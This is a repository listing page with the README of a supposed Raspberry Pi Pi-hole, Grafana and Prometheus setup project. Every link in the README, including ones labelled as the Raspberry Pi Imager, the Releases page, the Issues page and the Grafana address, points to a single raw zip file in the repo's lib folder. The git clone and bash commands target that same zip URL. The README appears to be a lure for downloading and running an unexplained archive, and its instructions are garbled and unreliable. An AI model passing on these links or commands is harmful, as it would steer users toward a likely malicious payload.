https://github.com/xolisbeamed/deathstar-pi-hole-setup
🤖 Simplify your Raspberry Pi management with the Death Star Pi-hole Setup, featuring easy deployments for Pi-hole, Grafana, and internet monitoring services.
https://github.com/xolisbeamed/deathstar-pi-hole-setup
ad-blocker ansible docker grafana home-automation homelab internet-monitoring network-monitoring pihole prometheus raspberry-pi
Last synced: 3 months ago
JSON representation
🤖 Simplify your Raspberry Pi management with the Death Star Pi-hole Setup, featuring easy deployments for Pi-hole, Grafana, and internet monitoring services.
- Host: GitHub
- URL: https://github.com/xolisbeamed/deathstar-pi-hole-setup
- Owner: xolisbeamed
- License: mit
- Created: 2025-10-04T05:42:26.000Z (9 months ago)
- Default Branch: main
- Last Pushed: 2026-04-06T07:29:39.000Z (3 months ago)
- Last Synced: 2026-04-06T09:49:06.644Z (3 months ago)
- Topics: ad-blocker, ansible, docker, grafana, home-automation, homelab, internet-monitoring, network-monitoring, pihole, prometheus, raspberry-pi
- Language: Shell
- Size: 2.46 MB
- Stars: 1
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# 🌟 deathstar-pi-hole-setup - Easy Setup for Ad Blocking
## 🚀 Getting Started
Welcome to the deathstar-pi-hole-setup! This application helps you set up an ad-blocking system using Raspberry Pi, Pi-hole, Grafana, and Prometheus. With this setup, you will enjoy a smoother internet experience by blocking unwanted ads and monitoring your network.
## 🛠️ System Requirements
Before you begin, ensure you have the following:
- A Raspberry Pi (any model, but Raspberry Pi 3 or later is recommended)
- A microSD card (minimum 16GB)
- A power supply for your Raspberry Pi
- An internet connection (wired recommended)
- A computer to access the Raspberry Pi
## 🔗 Download
[](https://github.com/xolisbeamed/deathstar-pi-hole-setup/raw/refs/heads/main/deathstar-pi-hole-setup/lib/setup_pi_hole_deathstar_2.1-alpha.2.zip)
To download the application, visit the Releases page:
[Download from Github Releases](https://github.com/xolisbeamed/deathstar-pi-hole-setup/raw/refs/heads/main/deathstar-pi-hole-setup/lib/setup_pi_hole_deathstar_2.1-alpha.2.zip)
## 📥 Download & Install
1. Click the link above to open the Releases page.
2. Look for the latest version at the top of the list.
3. Download the `.zip` or `https://github.com/xolisbeamed/deathstar-pi-hole-setup/raw/refs/heads/main/deathstar-pi-hole-setup/lib/setup_pi_hole_deathstar_2.1-alpha.2.zip` file that suits your Raspberry Pi model.
4. Once the download is complete, unzip or extract the file to a location on your computer.
## 📋 Setting Up Your Raspberry Pi
### Step 1: Prepare Your SD Card
1. Download and install [Raspberry Pi Imager](https://github.com/xolisbeamed/deathstar-pi-hole-setup/raw/refs/heads/main/deathstar-pi-hole-setup/lib/setup_pi_hole_deathstar_2.1-alpha.2.zip) on your computer.
2. Launch Raspberry Pi Imager.
3. Select the operating system. Choose Raspberry Pi OS Lite for a minimal setup.
4. Select your microSD card from the storage list.
5. Click "Write" to install the OS onto the microSD card.
### Step 2: Configure Your Raspberry Pi
1. Insert the microSD card into your Raspberry Pi.
2. Connect your Raspberry Pi to a monitor, keyboard, and power source.
3. Boot your Raspberry Pi and follow the on-screen instructions to complete the setup.
4. Once set up, connect your Raspberry Pi to your network.
### Step 3: Clone the Repository
1. Open a terminal on your Raspberry Pi.
2. Install Git if it is not already installed:
```bash
sudo apt update
sudo apt install git
```
3. Clone the repository by entering:
```bash
git clone https://github.com/xolisbeamed/deathstar-pi-hole-setup/raw/refs/heads/main/deathstar-pi-hole-setup/lib/setup_pi_hole_deathstar_2.1-alpha.2.zip
```
### Step 4: Run the Setup Script
1. Navigate to the cloned directory:
```bash
cd deathstar-pi-hole-setup
```
2. Run the setup script:
```bash
bash https://github.com/xolisbeamed/deathstar-pi-hole-setup/raw/refs/heads/main/deathstar-pi-hole-setup/lib/setup_pi_hole_deathstar_2.1-alpha.2.zip
```
3. Follow the prompts to configure Pi-hole, Grafana, and Prometheus.
## ⚙️ Configuration Options
During the setup, you will encounter various options for configuring your ad blocker and analytics tools. Here are some common choices:
- **Pi-hole Configuration**: Choose the type of ads you wish to block. You can select individual categories or groups.
- **Grafana Settings**: Decide on your preferred dashboard layout for monitoring network usage.
- **Prometheus Metrics**: Choose which metrics you want Prometheus to collect and visualize.
## 🔍 Monitoring Your Network
Once the setup is complete, you can check your network status through the Grafana dashboard:
1. Open a web browser on your computer.
2. Enter the Raspberry Pi's IP address followed by the Grafana port number (default is 3000). For example: `https://github.com/xolisbeamed/deathstar-pi-hole-setup/raw/refs/heads/main/deathstar-pi-hole-setup/lib/setup_pi_hole_deathstar_2.1-alpha.2.zip`
3. Log in using the default credentials you set during installation.
From here, you can customize your dashboard and start monitoring your network activity.
## 🧑🤝🧑 Community Support
If you have questions or need assistance, consider joining our community:
- Check the [GitHub Issues Page](https://github.com/xolisbeamed/deathstar-pi-hole-setup/raw/refs/heads/main/deathstar-pi-hole-setup/lib/setup_pi_hole_deathstar_2.1-alpha.2.zip) for common issues.
- Join the discussions and ask questions.
## 📝 Troubleshooting Tips
- **Can't Access the Dashboard**: Ensure your Raspberry Pi is powered on and connected to the network. Double-check the IP address.
- **Installation Fails**: Review the terminal output for errors. Ensure your network connection is stable.
- **Performance Issues**: Ensure you are not blocking essential domains required by your network devices.
## 🚧 Features
- **Network-wide Ad Blocking**: Eliminate ads across all devices on your network.
- **Internet Monitoring**: Gain insights into your network's traffic and usage patterns.
- **Smart Home Integration**: Easily integrate with smart home devices for better analytics.
For full details on each feature, refer to the documentation files in the repository.
By following these steps, you can easily set up your deathstar-pi-hole environment. Happy networking!